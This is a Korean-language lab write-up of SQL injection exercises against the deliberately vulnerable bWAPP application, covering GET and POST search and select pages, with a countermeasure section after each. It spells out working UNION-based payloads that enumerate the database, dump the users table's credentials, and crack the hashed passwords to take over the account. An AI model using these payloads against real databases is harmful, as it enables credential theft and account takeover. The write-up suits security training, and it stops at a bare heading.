SQL 인젝션
SQL 인젝션은 사용자가 입엵한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점이다.
SQL 인젝션은 사용자가 데이터를 입력할 수 있는 곳 어디서든 발생할 수 있고 공격자는 SQL 쿼라를 변수에 입력하여 데이터베이스 정보를 획득하거나 시스템 내부를 파악한다.
1.GET/Search
위 실습 페이지는 영화 제먹을 검색하고 데이터베이스에서 조회한 결과를 보여준다
우선 '을 입력하여 SQL 인젝션이 가능한지 알아본다
취약점이 존배하는 경우 위에 보이는 것과 같은 오류를 출력한다 작은 따옴표를 입력하는 이유는 데이터베이스에서 작은따옴표로 문자 데이터를 구분하기 때문이다.
오류 문자에는 서버 종류가 포함되는데 이걸 잘 확인해야한다 서버 종류에 따라서 SQL 구문이 다르므로 가장 먼저 서버 정보를 확인한다
'MYSQL' 서버라는걸 확인한다
'or 1=1--
'or 1=1#
주석 문자를 무엇을 쓰는지 확인하기 위해서 위에 두 코드를 입력해 보았다
앞 쿼리의 내용과는 상관없이 1=1이 항상 참이 되기때문에 주석 문자만 일치하면 모든 영화 자료가 출력될것이다
'or 1=1--
'or 1=1--은 오류가 나온다
'or 1=1#
'or 1=1# 을 입력하니 모든 영화 정보가 출력되는것을 볼수있다.
따라서 주석문자는 #을 사용한다
더 자세한 정보를 알아내기 위하여 UNION SELECT 구문을 사용한다
UNION은 SELECT문이 둘 이상일 때 이를 결합하여 두 질의의 결과를 하나로 변환한다
기본 페이지에는 데이터베이스의 특정 내용을 출력하는 기존 쿼리가 있어서 SQL 인젝션으로 데이터베이스의 내용을 파악할려면 둘 이상의 SELECT 문을 결합하는 UNION 구문이 필요하다
'UNION SELECT ALL 1#
UNION 구문을 사용하려면 이전 쿼리에서 사용하는 SELECT문의 칼럼 수가 일치해야한다 이는 두 질의 결과를 하나의 테이블로 합치기 때문이다.
칼럼수가 일치하지 않으니 오류가 출력된다 columns 의 숫자가 다르다는 문법이다
칼럼의 수를 추가하여 하나하나 검색하면
'UNION SELECT ALL 1,2,3,4,5,6,7#
기존 쿼리에서 사용하는 칼럼 수와 일치하므로 해당 쿼리가 참이 되어 검색 가능한 모든 영화 제목을 테이블에 출력한다
위에서 언급한것처럼 버전정보나 서버의 정보에 따라서 쿼리가 달라진다
버전 정보를 확인하기 위해서는 시스템 변수나 시스템 함수를 활용하여 쿼리를 입력한다.
0' UNION SELECT ALL 1,@@version,3,4,5,6,7#
시스템에서 보이는 칼럼은 2,3,4,5번에 위치한 칼럼이기 때문에 이중 아무곳이나 시스템 변수를 추가해준다
버전 정보를 확인할수 있다
SQL 인젝션으로 데이터베이스의 정보를 파악할 수 있는 변수와 함수는
1.database ( ) 데이터베이스 명을 알려주는 함수
2.user( ) 현재 사용자의 아이디
3.system_user() 최고 권한 사용자의 아이디
4.@@version 데이터 베이스 서버의 버전
5.@@datadir 데이터베이스 서버가 존재하는 디렉터리
같은 방식으로 하나하나 실습을 해보면
0' UNION SELECT ALL 1,database( ),3,4,5,6,7#
데이터베이스 bWAPP 이름을 알수 있다
0' UNION SELECT ALL 1,user( ),3,4,5,6,7#
유저 이름을 확인할수있다.
0' UNION SELECT ALL 1,system_user(),3,4,5,6,7#
최고 관리자야 어짜피 root 니까 root가 출력되고
0' UNION SELECT ALL 1,@@datadir,3,4,5,6,7#
디렉토리도 확인할수 있다.
테이블 명을 확인할려면
0' UNION SELECT ALL 1,table_name,3,4,5,6,7 from information_schema.tables#
출력된 테이블 명을 보면 users가 있는데 계정정보가 들어있다고 추측할 수 있다.
따라서 user 정보만 더 알고싶으니 쿼리를 다시 작성하면
0' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
칼럼 내용을 확인하려면 페이지에 노출되는 칼럼 순서에 맞춰 확인하고 싶은 칼럼명을 입력한다
concat 함수를 사용하여 칼럼 명을 인자로 입력하면 여러 칼럼의 내용을 볼 수 있다.
0' UNION SELECT ALL 1,concat(id,login),password,email,secret,6,7 from users#
대응방안
작은 따옴표(')를 입력하여도 오류 메시지가 나오지 않으면 SQL 인젝션이 불가능하다
vi sqli_1.php 파일을 살펴보면
sqli_check_2 로 우회하는것을 볼수있다
sqli_check_2 함수를 살펴보면
mysql_real_escape_string($data);
함수로 우회하는것을 볼수있는데 이함수는 사용자 입력값에 SQL 문법에서 사용하는 특수 문자가 있을 경우 백슬래시를 붙여 입력 데이터를 SQL 문법으로 인식하지 않게 방어한다.
여기서 우회하는 문자는 'NULL, \n,\r,\,',",^Z' 이므로 작은따옴표를 입력하면 백슬래시가 붙어 SQL쿼리로 인식하지 않는다
2.POST/Search
POST 방식으로 진행되기 때문에 URL에서 변수값은 알수없다 하지만 검색란에 사용되는 변수가 취약함으로 검색란에서 SQL 쿼리를 입력하면 취약점 여부를 파악이 가능하다
프락시 도구로 변수부터 확인하고 SQL 인젝션을 해보면
HTTP요청을 탈취하면 변수를 확인할수있는데 여기선 title 변수와 action 변수를 사용한다
이제 ' 를 사용하여 SQL 인젝션이 가능한 변수를 검색해 보겠다
변수에 '를 입력했을때 오류가 나면 SQL인젝션이 가능한다는 것을 의미한다
title 변수에 ' 을 삽입하면 문법오류가 발생한다 tilte이 SQL 인젝션에 취약한 변수인것을 확인할수있다
action은 정확하게 출력된다
다음으론 쓰이는 주석을 파악해야한다
위에서 GET 방식에서 사용했던 코드('or 1=1-- 'or 1=1#)를 title 방식에 입력해'보면
검색 결과 두 쿼리 모두 참인 결과가 나온다. 그러나 아무것도 입력하지 않았을 때도 모든 영화가 출력되는데, 이는 두 쿼리 중 한 쿼리만
주석 처리된 결과다. 따라서 다른 인젝션 공격을 통하여 주석 문자를 확인한다
칼럼의 종류를 알고 싶어서 아래와 같은 코드를 입력하면
' UNION SELECT ALL 1--
-- 주석은 비박스의 데이터베이스에서 주석 기능을 하지 못한다
' UNION SELECT ALL 1#
SQL 구문 오류가 아닌 칼럼 수가 맞지 않는다는 오류 메세지다. #은 주석 기능을 한다는 뜻이다
오류 메시지가 나오지 않게 칼럼 수를 하나씩 늘려 웹페이지에서 호출하는 기존 쿼리와 칼럼수를 맞춰준다
칼럼의 숫자를 늘려 하나씩 검색해본 결과 칼럼의 숫자는 7개인것을 알수있다.
'UNION SELECT ALL 1,2,3,4,5,6,7#
결과가 나오고 인젝션 결과 페이지가 출력되는데 1,6,7,번째 있는 칼럼은 페이지에서 확인되지 않는다.
데이터 베이스 버전을 알기 위해서
0' UNION SELECT ALL 1,@@version,3,4,5,6,7# 변수를 입력하면
버전정보가 출력되고 데이터베이스 버전이 5.0 이상인것을 확인할수있다
0' UNION SELECT ALL 1,table_name,3,4,5,6,7 from information_schema.tables#
테이블 이름을 확인하고
0' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
테이블 이름중에 users가 있으니 이 테이블을 검색해보면 원하는 칼럼을 얻을수 있을것이다
0' UNION SELECT ALL 1,id,login,password,secret,6,7 from users#
비밀번호 값을 알아 낼수 있는데 해시 값으로 변환된 비밀번호를 평문으로 변환하여 사용자 계정을 탈취한다
평문으로 변환하는 사이트는 https://crackstation.net/ 사용하거나 존 더 리퍼 도구를 사용하면 된다
간단하게 사이트를 통해 비밀번호를 알아내면
Result 값인 bug를 확인할수 있다
대응방안
작은 따옴표(')를 입력하여도 오류 메시지가 나오지 않으면 SQL 인젝션이 불가능하다
vi sqli_1.php 파일을 살펴보면
sqli_check_2 로 우회하는것을 볼수있다
sqli_check_2 함수를 살펴보면
mysql_real_escape_string($data);
함수로 우회하는것을 볼수있는데 이함수는 사용자 입력값에 SQL 문법에서 사용하는 특수 문자가 있을 경우 백슬래시를 붙여 입력 데이터를 SQL 문법으로 인식하지 않게 방어한다.
여기서 우회하는 문자는 'NULL, \n,\r,\,',",^Z' 이므로 작은따옴표를 입력하면 백슬래시가 붙어 SQL쿼리로 인식하지 않는다
3.GET/Select
URL을 보면 GET 방식인걸 알수있고 또 소스보기를 통해 사용되는 변수를 파악할수있다
변수는 movie 이고 숫자형으로 입력 값을 받는다
숫자형만 입력하는 변수에 SQL 인젝션을 시도할 때는 SQL 구문만 필요한데, 작은 따옴표를 입력하면 SQL 구문 오류가 난다
주석 문자는 #을 사용하지만 주석 문자를 사용하지 않아도 공격이 가능하다
앞에서 확인한 내용으로 칼럼의 숫자가 7개라는걸 파악하고있어서 바로 SQL 코드를 삽입해 보았다
' 를 사용하면 오류가 난다고 했으니까 제외하고 또 내가 필요한 값 빼고는 null 값을 넣어 데이터가 나오지 않게 한다
movie 변수에 조작된 SQL 코드를 삽입하면
0 union select null,database(),@@version,@@datadir,null,null,null
데이터 베이스 버전 정보를 확인할수있다
0 UNION SELECT null,table_name,null,null,null,null,null from information_schema.tables
테이블 이름을 알고싶어서 information_schema를 사용해서 테이블 이름을 살펴봤는데 하나밖에 출력이 안된다
따라서 MySQL 데이터베이스에 있는 기본 테이블인 'mysql'과 information_schema 에 포함되지 않는 테이블 스키마, 테이블 명, 칼럼명을 확인하려면
0 union select null,table_schema,table_name,column_name,null,null,null from information_schema.columns where table_schema!='mysql' and table_schema!='information_schema'
같은 구문을 입력한다.
table 스키마는 bWAPP 이고 테이블은 blog 컬럼은 id 이다
대응방안(보완 하기)
movie 변수에 작은따옴표나 UNION SELECT 구문을 입력하여도 SQL구문 오류 메시지가 아닌 영화를 찾을 수 없다는 메시지가 출력한다,
데이터 베이스에서 칼럼을 개별로 호출하고 연결하는 방식을 사용하여 SQL 인젝션을 대응한다
POST/Select